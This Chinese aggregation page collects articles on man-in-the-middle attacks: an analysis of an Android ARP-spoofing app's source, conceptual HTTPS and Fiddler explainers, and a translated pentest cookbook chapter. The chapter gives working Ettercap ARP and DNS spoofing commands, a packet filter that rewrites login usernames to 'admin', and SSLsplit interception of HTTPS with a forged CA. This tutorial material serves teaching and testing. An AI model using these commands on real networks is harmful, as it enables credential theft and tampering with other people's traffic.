精华内容
下载资源
问答
  • 实现一个ssl的客户端和服务端,作为中间人攻击,截取ssl通讯中的密文数据,并进行解密,使用时用把所有的报文都转向给程序所在的机器。
  • Android 中间人攻击

    千次阅读 2016-02-17 16:48:42
    0x00 Android中间人攻击的思路就是劫持局域网中被攻击机器和服务器间的对话。被攻击机器和服务器表面上工作正常,实际上已经被中间人... 0x01 Android开源中间人攻击例子,请参考https://github.com/ssun125/Lanm

       0x00

        Android中间人攻击的思路就是劫持局域网中被攻击机器和服务器间的对话。被攻击机器和服务器表面上工作正常,实际上已经被中间人劫持。可以从一张图来明白这个过程。


        受攻击主机发送的数据,首先经过了攻击者,从服务器返回的数据也经过攻击者,再发送给受攻击主机。


       0x01

        Android开源中间人攻击例子,请参考https://github.com/ssun125/Lanmitm。我们这里主要分析这个链接中效果预览中会话劫持的原理。

       

        分析https://github.com/ssun125/Lanmitm源代码,要实现arp欺骗,有关键的四步:

        1、使用Iptables进行NAT数据包转发

    	public static final String[] PORT_REDIRECT_CMD = {
    			"iptables -t nat -F",
    			"iptables -F",
    			"iptables -t nat -I POSTROUTING -s 0/0 -j MASQUERADE",
    			"iptables -P FORWARD ACCEPT",
    			"iptables -t nat -A PREROUTING -j DNAT -p tcp --dport 80 --to "
    					+ AppContext.getIp() + ":" + HttpProxy.HTTP_PROXY_PORT };
        这个命令是在ProxyService类的startHttpProxy方法中调用的。


        2、开启端口转发,允许本机像路由器那样转发数据包

    	private String[] FORWARD_COMMANDS = { "echo 1 > /proc/sys/net/ipv4/ip_forward",
    			"echo 1 > /proc/sys/net/ipv6/conf/all/forwarding" };
        这个是在ArpService类的onStartCommand方法中调用的。


        3、ARP投毒

    		if ((ONE_WAY_HOST & arp_cheat_way) != 0) {
    			if (target_ip == null)
    				target_ip = AppContext.getTarget().getIp();
    
    			if (!target_ip.equals(AppContext.getGateway()))
    				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
    						+ " -t " + target_ip + " "
    						+ AppContext.getGateway();
    			else
    				arp_spoof_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
    						+ " -t " + AppContext.getGateway() + " "
    						+ target_ip;
    
    			arpSpoof = new Thread() {
    
    				@Override
    				public void run() {
    					ShellUtils.execCommand(arp_spoof_cmd, true, false);
    				}
    			};
    			arpSpoof.start();
    		}
    		if ((ONE_WAY_ROUTE & arp_cheat_way) != 0) {
    			arp_spoof_recv_cmd = getFilesDir() + "/arpspoof -i " + interfaceName
    					+ " -t " + AppContext.getGateway() + " "
    					+ AppContext.getIp();
    
    			arpSpoofRecv = new Thread() {
    				@Override
    				public void run() {
    					ShellUtils.execCommand(arp_spoof_recv_cmd, true, false);
    				}
    			};
    			arpSpoofRecv.start();
    		}
        这个是在ArpService类的onStartCommand方法中调用的。


        4、在攻击者机器根据Socket原理,创建一个WebServer,原理类似于使用NanoHttpd实现简易WebServer。这样被攻击者发送给攻击者的请求就能被获取,并且显示在界面上。

       核心的代码如下:

    public class HttpProxy extends Thread {
    	......
    	@Override
    	public void run() {
    		try {
    			mServerSocket = new ServerSocket();
    			mServerSocket.setReuseAddress(true);
    			mServerSocket.bind(
    					new InetSocketAddress(AppContext.getInetAddress(),
    							HTTP_PROXY_PORT), BACKLOG);
    			executor = Executors.newCachedThreadPool();
    			while (!stop) {
    				Socket client = mServerSocket.accept();
    				DealThread dealThread = null;
    				switch (mProxyMode) {
    				case MODE_PROXY_SIMPLE:
    					dealThread = new SimpleDealThread(client,
    							mOnRequestListener);
    					break;
    				case MODE_PROXY_DEEP:
    					dealThread = new DeepDealThread(client, mOnRequestListener);
    					break;
    				}
    				executor.execute(dealThread);
    			}
    		} catch (IOException e) {
    			e.printStackTrace();
    		} finally {
    			if (mServerSocket != null) {
    				try {
    					mServerSocket.close();
    				} catch (IOException e) {
    					e.printStackTrace();
    				}
    			}
    			if (executor != null) {
    				executor.shutdownNow();
    			}
    		}
    	}
    	......
    }
    展开全文
  • 图解中间人攻击

    2021-03-13 16:06:35
    何为HTTP 中间人攻击 HTTP 协议使用起来确实非常的方便,但是它存在一个致命的缺点:不...下面来举个例子: 小明在 JAVA 贴吧发帖,内容为我爱JAVA: ...如何防止中间人攻击 这个时候可能就有人想到了,既然内容是明

    何为HTTP 中间人攻击

    HTTP 协议使用起来确实非常的方便,但是它存在一个致命的缺点:不安全。我们知道 HTTP 协议中的报文都是以明文的方式进行传输,不做任何加密,这样会导致什么问题呢?下面来举个例子:

    小明在 JAVA 贴吧发帖,内容为我爱JAVA:

    被中间人进行攻击,内容修改为我爱PHP

    可以看到在 HTTP 传输过程中,中间人能看到并且修改 HTTP 通讯中所有的请求和响应内容,所以使用 HTTP 是非常的不安全的。

    如何防止中间人攻击

    这个时候可能就有人想到了,既然内容是明文那我使用对称加密的方式将报文加密这样中间人不就看不到明文了吗,于是如下改造:

    双方约定加密方式

    使用 AES 加密报文 

     这样看似中间人获取不到明文信息了,但其实在通讯过程中还是会以明文的方式暴露加密方式和秘钥,如果第一次通信被拦截到了,那么秘钥就会泄露给中间人,中间人仍然可以解密后续的通信:

    那么对于这种情况,我们肯定就会考虑能不能将秘钥进行加密不让中间人看到呢?答案是有的,采用非对称加密,我们可以通过 RSA 算法来实现。这个步骤实际操作也是比较简单的。在约定加密方式的时候由服务器生成一对公私钥,服务器将公钥返回给客户端,客户端本地生成一串秘钥(AES_KEY)用于对称加密,并通过服务器发送的公钥进行加密得到(AES_KEY_SECRET),之后返回给服务端,服务端通过私钥将客户端发送的AES_KEY_SECRET进行解密得到AEK_KEY,最后客户端和服务器通过AEK_KEY进行报文的加密通讯,改造如下:

    可以看到这种情况下中间人是窃取不到用于AES加密的秘钥,所以对于后续的通讯是肯定无法进行解密了,那么这样做就是绝对安全了吗?所谓道高一尺魔高一丈,中间人为了对应这种加密方法又想出了一个新的破解方案,既然拿不到AES_KEY,那我就把自己模拟成一个客户端和服务器端的结合体,在用户->中间人的过程中中间人模拟服务器的行为,这样可以拿到用户请求的明文,在中间人->服务器的过程中中间人模拟客户端行为,这样可以拿到服务器响应的明文,以此来进行中间人攻击:

     这一次通信再次被中间人截获,中间人自己也伪造了一对公私钥,并将公钥发送给用户以此来窃取客户端生成的AES_KEY,在拿到AES_KEY之后就能轻松的进行解密了。中间人这样为所欲为,就没有办法制裁下吗,当然有啊,接下来我们看看 HTTPS 是怎么解决通讯安全问题的。

    HTTPS 如何避免中间人攻击

    HTTPS 其实是SSL+HTTP的简称,当然现在SSL基本已经被TLS取代了,不过接下来我们还是统一以SSL作为简称,SSL协议其实不止是应用在HTTP协议上,还在应用在各种应用层协议上,例如:FTP、WebSocket。其实SSL协议大致就和上一节非对称加密的性质一样,握手的过程中主要也是为了交换秘钥,然后再通讯过程中使用对称加密进行通讯,大概流程如下:

    这里我只是画了个示意图,其实真正的 SSL 握手会比这个复杂的多,但是性质还是差不多,而且我们这里需要关注的重点在于 HTTPS 是如何防止中间人攻击的。通过上图可以观察到,服务器是通过 SSL 证书来传递公钥,客户端会对 SSL 证书进行验证,其中证书认证体系就是确保SSL安全的关键。

     

     

     

     

    展开全文
  • 第八章 中间人攻击 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介中间人(MITM)攻击是一种攻击类型,其中攻击者将它自己放到两方之间,通常是客户端和服务端通信线路的中间。这...

    第八章 中间人攻击

    作者:Gilberto Najera-Gutierrez

    译者:飞龙

    协议:CC BY-NC-SA 4.0

    简介

    中间人(MITM)攻击是一种攻击类型,其中攻击者将它自己放到两方之间,通常是客户端和服务端通信线路的中间。这可以通过破坏原始频道之后拦截一方的消息并将它们转发(有时会有改变)给另一方来实现。

    让我们观察下面这个例子:

    Alice 连接到了 Web 服务器上,Bob打算了解 Alice 正在发送什么信息。于是 Bob 建立 MITM 攻击,通过告诉服务器他是 Alice,并且告诉 Alice 他是服务器。现在,所有 Alice 的请求都会发给 Bob,Bob 会将它们转发给服务器,并对服务器的响应做相同操作。这样,Bob 就能够拦截、读取或修改所有 Alice 和服务器之间的流量。

    虽然 MITM 攻击并不特定与 Web 攻击,了解如何执行它们,以及如何防止它们,对于任何渗透测试者都非常重要,因为它们可以用于偷取密码,劫持会话,或者执行 Web 应用中的非授权操作。

    这一章中,我们会建立起中间人攻击,并使用它来获得信息,以及执行更加复杂的攻击。

    8.1 使用 Ettercap 执行欺骗攻击

    地址解析协议(ARP)欺骗可能是最常见的 MITM 攻击。它基于一个事实,就是 ARP 并不验证系统所收到的响应。这就意味着,当 Alice 的电脑询问网络上的所有设备,“IP 为 xxx.xxx.xxx.xxx 的机器的 MAC 地址是什么”时,它会信任从任何设备得到的答复。该设备可能是预期的服务器,也可能是不是。ARP 欺骗或毒化的工作方式是,发送大量 ARP 响应给通信的两端,告诉每一端攻击者的 MAC 地址对应它们另一端的 IP 地址。

    这个秘籍中,我们会使用Ettercap 来执行 ARP 欺骗攻击,并将我们放到客户端和服务器之间。

    准备

    对于这个秘籍,我们会使用第一章配置的客户端虚拟机,和vulnerable_vm。客户端的 IP 是 192.168.56.101,vulnerable_vm 是 192.168.56.102。

    操作步骤

    1. 将两个虚拟机打开,我们的 Kali Linux(192.168.56.1)主机是攻击者的机器。打开终端窗口并输入下列命令:

      ettercap –G 

      从 Ettercap 的主菜单中,选择Sniff | Unified Sniffing

    2. 在弹出的对话框中选择你打算使用的网络接口,这里我们选择vboxnet0,像这样:

    3. 既然我们嗅探了网络,下一步就是识别哪个主机正在通信。访问主菜单的Hosts之后选择Scan for hosts

    4. 从我们发现的主机中,选择我们的目标。从Hosts菜单栏中选择Hosts list

    5. 从列表中选择192.168.56.101,并点击Add to Target 1

    6. 之后选择192.168.56.102,之后点击Add to Target 2

    7. 现在我们检查目标:在Targets菜单中,选择Current targets

    8. 我们现在准备好了开始欺骗攻击,我们的位置在服务器和客户端中间,在Mitm菜单中,选择ARP poisoning

    9. 在弹出的窗口中,选中Sniff remote connections,然后点击OK

    这就结束了,我们现在可以看到在客户端和服务端之间的流量。

    工作原理

    在我们键入的第一个命令中,我们告诉 Ettercap 启动 GTK 界面。

    其它界面选项为-T启动文本界面,-C启动光标(以 ASCII 文本),-D运行为守护进程,没有界面。

    之后,我们启动了 Ettercap 的嗅探功能。统一模式意味着我们会通过单一网络接口接受并发送信息。当我们的目标通过不同网络接口到达时,我们选择桥接模式。例如,如果我们拥有两个网卡,并且通过其一连接到客户端,另一个连接到服务端。

    在嗅探开始之后,我们选择了目标。

    事先选择你的目标

    单次攻击中,选择唯一必要主机作为目标非常重要,因为毒化攻击会生成大量网络流量,并导致所有主机的性能问题。在开始 MITM 攻击之前,弄清楚那两个系统会成为目标,并仅仅欺骗这两个系统。

    一旦设置了目标,我们就可以开始 ARP 毒化攻击。Sniffing remote connections意味着 Ettercap 会捕获和读取所有两端之间的封包,Only poison one way在我们仅仅打算毒化客户端,而并不打算了解来自服务器或网关的请求时(或者它拥有任何对 ARP 毒化的保护时)非常实用。

    8.2 使用 Wireshark 执行 MITM 以及捕获流量

    Ettercap 可以检测到经过它传播的相关信息,例如密码。但是,在渗透测试的时候,它通常不足以拦截一些整数,我们可能要寻找其他信息,类似信用卡的号码,社会安全号码,名称,图片或者文档。拥有一个可以监听网络上所有流量的工具十分实用,以便我们保存和之后分析它们。这个工具是个嗅探器,最符合我们的目的的工具就是 Wireshark,它包含于 Kali Linux。

    这个秘籍中,我们会使用 Wireshark 来捕获所有在客户端和服务端之间发送的封包来获取信息。

    准备

    在开始之前我们需要让 MITM 工作。

    操作步骤

    1. 从 Kali Applications菜单的Sniffing & Spoofing启动 Wireshark,或者从终端中执行:

      wireshark 
    2. 当 Wireshark 加载之后,选项你打算用于捕获封包的网卡。我们这里选择vboxnet0,像这样:

    3. 之后点击Start。你会立即看到 Wireshark 正在捕获 ARP 封包,这就是我们的攻击。

    4. 现在,来到客户端虚拟机,浏览http://192.168.56.102/ dvwa,并登陆 DVWA。

    5. 在 Wireshark 中的info区域中,查找来自192.168.56.101192.168.56.102,带有 POST /dvwa/login.php 的 HTTP 封包。

      如果我们浏览所有捕获的封包,我们会看到一个封包对应授权,并会看到我们可以以纯文本获得用户名和密码。

      使用过滤器

      我们可以在 Wireshark 中使用过滤器来只展示我们感兴趣的封包。例如,为了只查看 登录页面的 HTTP 请求,我们可以使用:http. request.uri contains "login"

      如果我们查看 Ettercap 的窗口,我们也能看到用户名和密码,像这样:

      通过捕获客户端和服务端之间的流量,攻击者能够提取和利用所有类型的敏感信息,例如用户名、密码、会话 Cookie、账户号码、信用卡号码、私人邮件,以及其它。

    工作原理

    Wireshark 监听每个我们选择监听的接口上的封包,并在它的界面中显示。我们可以选择监听多个接口。

    当我们首先启动嗅探的时候,我们了解了 ARP 欺骗如何工作。它发送大量 ARP 封包给客户端和服务端,以便防止它们的地址解析表(ARP 表)从正当的主机获得正确的值。

    最后,当我们向服务器发送请求时,我们看到了 Wireshark 如何捕获所有包含在请求中的信息,包含协议、来源和目的地 IP。更重要的是,它包含了由客户端发送的数据,其中包含管理员密码。

    另见

    研究 Wireshark 数据有一些无聊,所以了解如何在捕获封包时使用显示过滤器非常重要。你可以访问下列站点来了解更多信息。

    使用 Wireshark,你可以通过捕获过滤器来选择捕获哪种数据。这是非常实用的特性,尤其是执行 MITM攻击时生成大量流量的时候。你可以从下列站点中阅读更多信息。

    8.3 修改服务端和客户端之间的数据

    在执行 MITM 攻击时,我们不仅仅能够监听在受害者系统之间发送的任何数据,也能够修改请求和响应,因而按照我们的意图调整它们的行为。

    这个秘籍中,我们会使用 Ettercap 过滤器来检测封包是否包含我们感兴趣的信息,并触发改变后的操作。

    准备

    在开始之前我们需要让 MITM 工作。

    操作步骤

    1. 我们的第一步是创建过滤器文件。将下列代码保存到文本文件中(我们命名为regex-replace-filter.filter):

      
      # If the packet goes to vulnerable_vm on TCP port 80 (HTTP) 
      
      if (ip.dst == '192.168.56.102'&& tcp.dst == 80) {
          # if the packet's data contains a login page    
          if (search(DATA.data, "POST")){        
              msg("POST request");        
              if (search(DATA.data, "login.php") ){
                  msg("Call to login page");            
                  # Will change content's length to prevent server from failing            
                  pcre_regex(DATA.data, "Content-Length:\ [0-9]*","Content-Length: 41");            
                  msg("Content Length modified");            
                  # will replace any username by "admin" using a regular expression            
                  if (pcre_regex(DATA.data, "username=[a-zAZ]*&","username=admin&"))    {
                      msg("DATA modified\n");              
                  }            
                  msg("Filter Ran.\n");        
              }    
          } 
      }

      # 符号使注释。这个语法非常类似于 C,除了注释和一些不同。

    2. 下面我们需要为 Ettercap 编译过滤器来使用它。从终端中,执行下列命令。

      etterfilter -o regex-replace-filter.ef regex-replace-filter.filter

    3. 现在,从 Ettercap 的菜单中,选择Filters | Load a filter,后面是regexreplace-filter.ef,并点击Open

      我们会看到 Ettercap 的日志窗口中出现新的条目,表明新的过滤器已经加载了。

      ![](http://git.oschina.net/wizardforcel/kali-linux-web-pentest-cookbook-zh/raw/master/img/8-3-2.jpg

    4. 在客户端中,浏览http://192.168.56.102/dvwa/并使用密码admin登陆任意用户,例如:inexistentuser: admin

      用户现在登陆为管理员,并且攻击者拥有了对两个用户都生效的密码。)

    5. 如果我们检查 Ettercap 的日志,我们可以看到我们编写在代码中的消息会出现在这里,像这样:

    工作原理

    ARP 欺骗攻击是更加复杂的攻击的开始。这个秘籍中,我们使用了 Ettercap 的封包过滤功能来识别带有特定内容的封包,并修改它来强制让用户以管理员登录应用。这也可以从服务端到客户端来完成,可以用来通过展示一些伪造信息来欺骗用户。

    我们的第一步是创建过滤脚本,它首先检查被分析的封包是否含有我们打算改变的信息,像这样:

    if (ip.dst == '192.168.56.102'&& tcp.dst == 80) { 

    如果目标 IP 是 vulnerable_vm之一,且 TCP 端口是 80(默认 HTTP 端口号),它就是发往我们打算拦截的服务器的请求。

    if (search(DATA.data, "POST")){    
        msg("POST request");    
        if (search(DATA.data, "login.php") ){

    如果请求使用 POST 方法,且去往login.php页面,它就是登录尝试,因为这是我们的目标应用接收登录尝试的方式。

    pcre_regex(DATA.data, "Content-Length\:\ [0-9]*","Content-Length: 41");

    我们使用正则表达式来获取请求中的Content-Length参数,并将它的值改为 41,这是我们发送带有admin/admin凭证的登录封包的长度。

    if (pcre_regex(DATA.data, "username=[a-zA-Z]*&","username=admin&")){    
        msg("DATA modified\n");  
    } 

    同样,使用正则表达式,我们在请求中查找用户名称值,并将它替换为admin

    消息(msg)仅仅用于跟踪和调试目的,可以被从脚本中忽略。

    在编写完脚本之后,我们使用 Ettercap 的 etterfilter 编译他,以便执行它。之后,我们在 Ettercap 中加载它,然后等待客户端连接。

    8.4 发起 SSL MITM 攻击

    如果我们使用我们目前的方法嗅探 HTTPS 会话,我们不能从中得到很多信息,因为所有通信都是加密的。

    为了拦截、读取和修改 SSL 和 TLS 的连接,我们需要做一系列准备步骤,来建立我们的 SSL 代理。SSLsplit 的仿作方式是使用两个证书,一个用于告诉服务器这是客户端,以便它可以接收和解密服务器的响应,另一个告诉客户端这是服务器。对于第二个证书,如果我们打算代替一个拥有自己的域名的网站,并且它的证书由认证中心(CA)签发,我们就需要让 CA 为我们签发根证书,但因为我们是攻击者,我们就需要自己来做。

    这个秘籍中,我们会配置我们自己的 CA,以及一些 IP 转发规则来执行 SSL 中间人攻击。

    操作步骤

    1. 首先,我们打算在 Kali 上创建 CA 私钥,所以在 root 终端中键入下列命令:

      openssl genrsa -out certaauth.key 4096 
    2. 现在让我们创建一个使用这个密钥签名的证书:

      openssl req -new -x509 -days 365 -key certauth.key -out ca.crt 
    3. 填充所需信息(或者仅仅对每个字段按下回车)。

    4. 下面,我们需要开启 IP 转发来开启系统的路由功能(将目标不是本地主机的 IP 包转发到网关):

      echo 1 > /proc/sys/net/ipv4/ip_forwar
    5. 现在我们打算配置一些会泽来防止转发任何东西。首先,让我们检查我们的 iptables 的nat表中是否有任何东西:

      iptables -t nat -L

    6. 如果有东西,你可能打算备份一下,因为我们会刷新它们,如下:

      iptables -t nat -L > iptables.nat.bkp.txt 
    7. 现在让我们刷新整个表。

      iptables -t nat -F
    8. 之后我们建立 PREROUTING 规则:

      iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --toports 8080 
      iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --toports 8443 

    现在我们已经准备好嗅探加密连接。

    工作原理

    这个秘籍中,我们配置了 Kali 主机来充当 CA,这意味着它可以校验 SSLsplit 使用的证书。在前两步中,我们仅仅创建了私钥,和使用私钥签名的证书。

    下面,我们建立了端口转发规则。我们首先开启了转发选项,之后创建了 iptables 规则来将 80 端口的请求转发到 443(HTTP 到 HTTPS)。这是为了重定向请求。我们的 MITM 攻击会拦截 SSLsplit,便于它使用一个证书来解密收到的消息、处理它,使用另一个证书加密并发送到目的地。

    另见

    你应该了解更多加密证书以及 SSL 和 TLS 协议,还有 SSLsplit,可以访问这里:

    8.5 使用 SSLsplit 获得 SSL 数据

    在之前的密集中,我们准备了环境来攻击 SSL/TLS 连接。而这个秘籍中,我们会使用 SSLsplit 来完成 MITM 攻击并从加密连接中提取信息。

    准备

    我们需要在开始秘籍之前执行 ARP 欺骗攻击,并成功完成了上一个秘籍。

    操作步骤

    1. 首先,我们需要创建目录,其中 SSLsplit 在里面存放日志。打开终端并创建两个目录,像这样:

      mkdir /tmp/sslsplit 
      mkdir /tmp/sslsplit/logdir
    2. 现在,让我们启动 SSLSplit:

      sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir -k certauth.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

    3. 现在,SSLSplit 正在运行,Windows 客户端和 vulnerable_vm 之间存在 MITM,来到客户端并访问https://192.168.56.102/dvwa/

    4. 浏览器会要求确认,因为我们的 CA 和证书并不是被任何浏览器官方承认的。设置例外并继续。

    5. 现在登录 DVWA ,使用管理员用户和密码。

    6. 让我们看看 SSLSplit 中发生了什么。打开新的终端并检查日志内容,在我们为 SSLSplit 创建的目录中:

      ls /tmp/sslsplit/logdir/ 
      cat /tmp/sslsplit/logdir/*

    现在,即使 Ettercap 和 Wireshark 只能看到加密数据,我么也可以以纯文本在 SSLSplit 中查看通信。

    工作原理

    这个秘籍中,我们继续 SSL 连接上的攻击。在第一步中,我们创建了目录,其中 SSLSplit 会将捕获到的信息存在里面。

    第二部就是使用下列命令执行 SSLSplit:

    • -D:这是在前台运行 SSLSplit,并不是守护进程,并带有详细的输出。

    • -l connections.log:这将每个连接的记录保存到当前目录的connections.log中。

    • -j /tmp/sslsplit:这用于建立jail directory目录,/tmp/sslsplit会作为 root(chroot)包含 SSLSplit 的环境。

    • -S logdir:这用于告诉 SSLSplit 将内容日志(所有请求和响应)保存到logdir(在jail目录中),并将数据保存到单独的文件中。

    • -k-c:这用于指明和充当 CA 时,SSLSplit 所使用的私钥和证书。

    • ssl 0.0.0.0 8443:这告诉 SSLSplit 在哪里监听 HTTPS(或者其它加密协议)连接。要记住这是我们在上一章中使用 iptables 从 443 转发的接口。

    • tcp 0.0.0.0 8080:这告诉 SSLSplit 在哪里监听 HTTP 连接。要记住这是我们在上一章中使用 iptables 从 80 转发的接口。

    在执行这些命令之后,我们等待客户端浏览器服务器的 HTTPS 页面并提交数据,之后我们检查日志文件来发现未加密的信息。

    8.6 执行 DNS 欺骗并重定向流量

    DNS 欺骗是一种攻击,其中执行 MITM 攻击的攻击者使用它来修改响应受害者的 DNS 服务器中的名称解析,发送给他们恶意页面,而不是他们请求的页面,但仍然使用有效名称。

    这个秘籍中,我们会使用 Ettercap 来执行 DNS 欺骗攻击,并在受害者打算浏览别的网站时,使其浏览我们的网站。

    准备

    对于这个秘籍,我们需要使用我们的 WIndows 客户端虚拟机,但是这次网络识别器桥接到 DNS 解析中。这个秘籍中它的 IP 地址为 192.168.71.14。

    攻击者的机器是我们的 Kali 主机,IP 为 192.168.71.8。它也需要运行 Apache 服务器,并拥有index.html演示页面,我们会包含下列东西:

    <h1>Spoofed SITE</h1>

    操作步骤

    1. 假设我们已经启动了 Apache 服务器,并正确配置了伪造页面,让我们编辑/etc/ettercap/etter.dns,使它仅仅包含下面这一行:

      * A 192.168.71.8 

      我们仅仅设置一条规则:所有 A 记录(地址记录)都解析到192.168.71.8,这是我们 Kali 的地址。我们可以设置其他条目,但是我们打算在这里避免干扰。

    2. 这次,我们从命令行运行 Ettercap。打开 root 终端并键入下列命令:

      ettercap -i wlan0 -T -P dns_spoof -M arp /192.168.71.14///

      它会以文本模式运行 Ettercap,并开启 DNS 欺骗插件来执行 ARP 欺骗攻击,目标仅仅设置为192.168.71.14

    3. 启动攻击之后,我们来到客户端主机,并尝试通过网站自己的域名来浏览网站,例如,www.yahoo.com,像这样:

      要注意,现在地址和标签栏显示原始站点的名称,但是内容来自不同的地方。

    4. 我们也可以尝试使用nslookup执行地址解析,像这样:

    工作原理

    这个秘籍中,我们看到如何使用中间人攻击来强制用户浏览某个页面,他们甚至相信自己在其它站点上。

    在第一步中,我们修改了 Ettercap 的名称解析文件,让它将所有请求的名称重定向到我们的 Kali 主机。

    之后,我们以下列参数运行 Ettercap:-i wlan0 -T -P dns_spoof -M arp /192.168.71.14///

    • -i wlan0:要技术我们需要客户端进行 DNS 解析,所以我们需要让它连接到桥接的适配器,并到达我们的 Kali 主机,所以我们将嗅探接口设为wlan0(攻击者计算机上的无线网卡)。

    • -T:使用纯文本界面。

    • -P dns_spoof:启动 DNS 欺骗插件。

    • -M arp:执行 ARP 欺骗攻击。

    • /192.168.71.14///:这是我们在命令行中对 Ettercap 设置目标的方式:MAC/ip_address/port。其中//表示任何对应 IP 192.168.71.14(客户端)任何端口的 MAC 地址。

    最后,我们确认了攻击能够正常工作。

    另见

    也有另一个非常实用的用于这些类型攻击的工具,叫做 dnsspoof。你应该下载下来并加入工具库:

    man dnsspoof

    http://www.monkey.org/~dugsong/dsniff/

    另一个值得提及的工具是中间人攻击框架:MITMf。它包含内建的 ARP 毒化、DNS 欺骗、WPAD 代理服务器,以及其它攻击类型的功能。

    mitmf --help
    展开全文
  • 中间人攻击(man-in-the-middle attack, abbreviated to MITM),简单的讲,就是黑客悄悄的躲在通信双方之间,窃听甚至篡改通信信息。而通信双方并不知道消息已经被截获甚至篡改了。 举个例子,小明用...

    摘要: 当年12306竟然要自己安装证书…

    Fundebug经授权转载,版权归原作者所有。

    一、什么是MITM

    中间人攻击(man-in-the-middle attack, abbreviated to MITM),简单的讲,就是黑客悄悄的躲在通信双方之间,窃听甚至篡改通信信息。而通信双方并不知道消息已经被截获甚至篡改了。

    举个例子,小明用微信发一条消息给小红,这条消息会从小明的手机发送到微信的服务器,再由微信服务器转发给小红,理论上讲,微信服务器是可以查看或者修改小明发送的信息的。这个时候,微信服务器就可以是实施攻击的中间人。

    也有一些人,会通过代理服务器浏览某些外网,这里的代理服务器其实就充当了中间人的角色。

    对于个人而言,MITM到底有什么用?这就得先从MITM的攻防说起了。

    二、防攻击

    首先看看如何防止攻击。最有效的防攻击手段就是一次性密码(One Time Password),由信息论发明人香农提出,理论上讲是绝对安全的。但是一次性密码也有个前提,那就是安全的把密码传达给对方。这里好像就已经陷入死胡同了。

    对于访问互联网而言,无论是通过浏览器还是APP客户端,一般都会使用HTTPS的方式通信,这其实就是一种比较有效的加密方式。在这种通信过程中,客户端或者操作系统内置了权威CA(certification authority)的根证书,而服务器在通信之初,会先返回在CA那里获取的签名证书,然后客户端用根证书验证证书有效性,最后使用验证通过的证书提供的公钥加密数据。

    这里有个前提假设,那就是权威的证书机构不会把签名信息泄露出去。What an F-word,是不是有种无力感,我们的互联网安全其实还是建立在人性和道德的基础上。这里其实也有个死循环,系统通过服务器的CA证书证明有效性,而CA本身又需要其他CA来认证自己的有效性。解决这个问题其实是通过系统或者浏览器本身集成知名根证书。

    早年12306非得使用自己签名的证书,而主流浏览器又不认可,导致用户需要在首次下载证书并安装。这其实是个很危险的操作,不法分子完全可以利用这个机制把非法证书安装到用户设备上。好在现在12306已经采用DigiCert颁布的证书了。

    除了CA数字证书,还有一些专用的密钥交换协议,比如ZRTP、HPKP、DNSSEC等,他们都能在一定程度上保障通信安全。

    除了直接认证之外,还可以通过篡改检测、取证分析等手段防范MITM。

    简单提一下,目前最有效的加密方式可能是量子加密(Quantum cryptography)。量子加密同时拥有数学和量子力学两大学科加持,只要数学和量子理论没有问题,那么量子加密理论上就是绝对安全的。关于量子加密,以后会专门讲一下。

    三、攻击

    以HTTPS加密破解为例。为防止不法分子技术滥用,本文仅分享一下原理。

    我们不防在客户端和服务器之间加入一个“中间人”,比如在电脑端安装Fiddler(抓包神器)。关于Fiddler抓包的方法网上教程很多,这里就不赘述了。直接上图:

    • 黑客通过特殊途径在被攻击者的手机上安装根证书;
    • 客户端发起连接请求,代理服务器(Fiddler)在中间截取请求,返回自己签名的伪造证书;
    • 客户端收到证书后会在系统中查找信任的根证书,因为黑客已经事先在被攻击者手机上安装了自己的根证书,因此客户端验证通过;
    • 客户端后续就会把Fiddler当成合法的服务器;
    • 而Fiddler会与真实的服务器通信,截获密钥,解密数据。

    至此,服务器和客户端的数据对于中间人Fiddler而言已经是完全透明的了。

    四、小结

    其实,掌握了MITM技术,了解各大APP的实现逻辑就很简单了,一众收费的APP基本可以实力碾压。

    失而复得的手机也许应该格式化,没准有人在钓鱼。

    想起以前自己说的一句话,知道原理,真的可以为所欲为

    关于Fundebug

    Fundebug专注于JavaScript、微信小程序、微信小游戏、支付宝小程序、React Native、Node.js和Java线上应用实时BUG监控。 自从2016年双十一正式上线,Fundebug累计处理了20亿+错误事件,付费客户有阳光保险、核桃编程、荔枝FM、掌门1对1、微脉、青团社等众多品牌企业。欢迎大家免费试用

    展开全文
  •  在前面两篇文章中我们分别探讨了ARP缓存中毒和DNS欺骗,从前面展示的例子我们可以看到,中间人攻击是非常有效的攻击形式,并且越来越难以被察觉。而在本文中,我们将探讨会话劫持攻击的理论以及演示,并讨论相关...
  • 现代社会,攻击者通过受害者访问网页的行为反复劫持银行账户是可行的。用不着浏览器漏洞利用,也看不到任何警告。对网络罪犯而言,这些攻击又廉价,成功率又高。...举个例子,如果受害者访问 wf.com...
  • 什么是XSS攻击?如何防范XSS攻击?什么是CSP? XSS简单来说,就是攻击者想尽一切办法可以执行的代码注入到网页中。...举个例子,对于评论功能来说,就是防范持久型XSS攻击,因为我可以在评论中输入...
  • 刚刚有研究人员公布了一种针对TLS/SSL的中间人攻击, 该攻击1. exploitable (可操作性比较强)2. 目前还没有解决方案, 等待各厂商出补丁.3. 受影响的上层协议包括HTTPS,IMAP, SIP等等. 有人举了下面这个例子来帮助...
  • 举个例子,假如A和B认为,任何网站都是不可靠的,他们从未并且今后也不会在网上公布自己的公钥。为了加密通信,A需要亲自告诉B他的公钥,B也需要亲自告诉A自己的公钥。收到公钥后,双方便用对方的公钥加密进行数据
  • OAuth设备流包装器 ...例子 参见 。 发展 该项目使用 ( )管理依赖包。 安装依赖 pnpm i 您也可以使用npm ,但是锁文件可能变得不同步。 测验 npm test 覆盖范围 npm run coverage 执照 麻省理工学院
  • 常见网络攻击

    2018-08-05 18:43:50
    中间人攻击(Man-in-the-Middle (MITM) attack) 中间人攻击是一种常见的攻击手段,攻击者与通信双方分别建立连接,将双方想要交换的数据进行记录、篡改甚至丢弃。由于Http是明文传输,因此很容易遭受到中间人攻击。 ...
  • Web常见攻击总结

    2019-12-06 17:57:48
    中间人攻击 1 SQL 注入 这是一种比较简单的攻击方式。 如果后台人员使用用户输入的数据来组装SQL查询语句的时候不做防范, 遇到一些恶意的输入,最后生成的SQL就会有问题。 举个例子 比如地址栏输入的...
